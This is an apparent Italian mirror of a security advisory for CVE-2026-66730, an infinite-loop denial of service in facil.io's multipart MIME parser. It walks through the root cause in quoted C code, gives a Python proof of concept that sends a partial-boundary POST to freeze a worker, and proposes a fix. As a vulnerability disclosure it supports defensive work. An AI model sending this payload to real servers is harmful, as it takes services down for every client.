Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — Avviso di sicurezza: DoS a ciclo infinito nel parser MIME di facil.io (confine parziale) | Kitploit
Strumenti/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
Analisi delle VulnerabilitàAnalisi del CodiceSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

Avviso di sicurezza: DoS a ciclo infinito nel parser MIME di facil.io (confine parziale)

Vedi Repository
31 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Advisory di Sicurezza: DoS a Ciclo Infinito nel Parser MIME di facil.io (Boundary Parziale)

ID CVE assegnato: CVE-2026-66730

Prodotto: facil.io
Versioni interessate: facil.io >= 0.6.0 (tutte le 0.6.x, tutte le 0.7.x, master); introdotto insieme al parser MIME in 0.6.0
Componente: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Loop con Condizione di Uscita Irraggiungibile), CWE-400 (Consumo Incontrollato di Risorse)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Ricercatore: Theodosis Paidakis


Riepilogo

Una richiesta multipart/form-data il cui corpo termina con un boundary di chiusura parziale (ad esempio, --B- invece di --B--\r\n) fa sì che http_parse_body() venga eseguito in un ciclo infinito al 100% di CPU. Il parser MIME restituisce 0 byte consumati quando si blocca su un boundary parziale, ma il ciclo chiamante verifica solo . Nessuno dei due flag viene impostato, quindi il parser viene richiamato sugli stessi dati per sempre. Il server non va in crash, quindi nessun worker viene rigenerato. Una singola richiesta POST non autenticata congela permanentemente un worker.

!done && !error

Questo non è correlato a CVE-2026-41146, che è un ciclo infinito nel parser JSON (fio_json_parser.h). Questo bug si trova nel parser MIME/multipart.


Causa principale

Parte 1: Nessun controllo di avanzamento nel chiamante

lib/facil/http/http.c, righe 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 quando il parser si blocca
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // viene restituita di nuovo la stessa slice
} while (p.buffer.data && !p.p.done && !p.p.error);       // nessun flag impostato -> ciclo infinito

Se http_mime_parse restituisce 0 e non imposta né done né error, p.pos rimane fisso, fiobj_data_pread restituisce lo stesso buffer e il ciclo non ha via di uscita.

Parte 2: Quando http_mime_parse restituisce 0

lib/facil/http/parsers/http_mime_parser.h, righe 314-329 e il ramo consume_partial

Il parser esamina la sezione del valore alla ricerca di un boundary completo. Quando il corpo termina con \n--B- (quattro byte in meno di un boundary di chiusura completo \n--B--\r\n), la scansione trova \n seguito da quello che sembra l'inizio di un boundary, ma non può confermare che sia completo:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:314-329 (scansione del valore)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // boundary parziale -- transizione a consume_partial alla prima chiamata
    parser->in_obj = 1;
    goto consume_partial;
}

Alla chiamata successiva, in_obj è già impostato. Il ramo consume_partial trova lo stesso \n prima di --B-, quindi sposta indietro il puntatore di ritorno prima di qualsiasi dato non consumato:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h (ramo consume_partial, ~righe 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end ora punta prima del \n
    pos = end;                    // il puntatore di ritorno è posizionato dietro qualsiasi nuovo dato
    goto end_of_data;             // restituisce 0 byte consumati
}

pos finisce a o prima di dove era iniziato. La funzione restituisce 0. Di nuovo nel chiamante, cons = 0, p.pos non si muove e il ciclo si ripete.


Prova di concetto

Avvia il server, quindi esegui:

root@kitploit:~
# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # boundary di chiusura parziale: mancano i finali '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

Osservato: processo del server al 99.7-100% di CPU. Necessario kill -9 per il ripristino.


Impatto

Un worker congelato non esce mai, quindi non avviene alcuna rigenerazione. Con un numero sufficiente di richieste (pari al numero di worker), il server smette di servire tutti i client in modo permanente finché non viene riavviato manualmente. Non sono richiesti autenticazione, header speciali o stato precedente.


Correzione

Aggiungi un controllo di avanzamento al ciclo in http_parse_body:

lib/facil/http/http.c, righe 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967 -- correzione proposta
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // nessun progresso: interrompi
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
Scarica lo strumento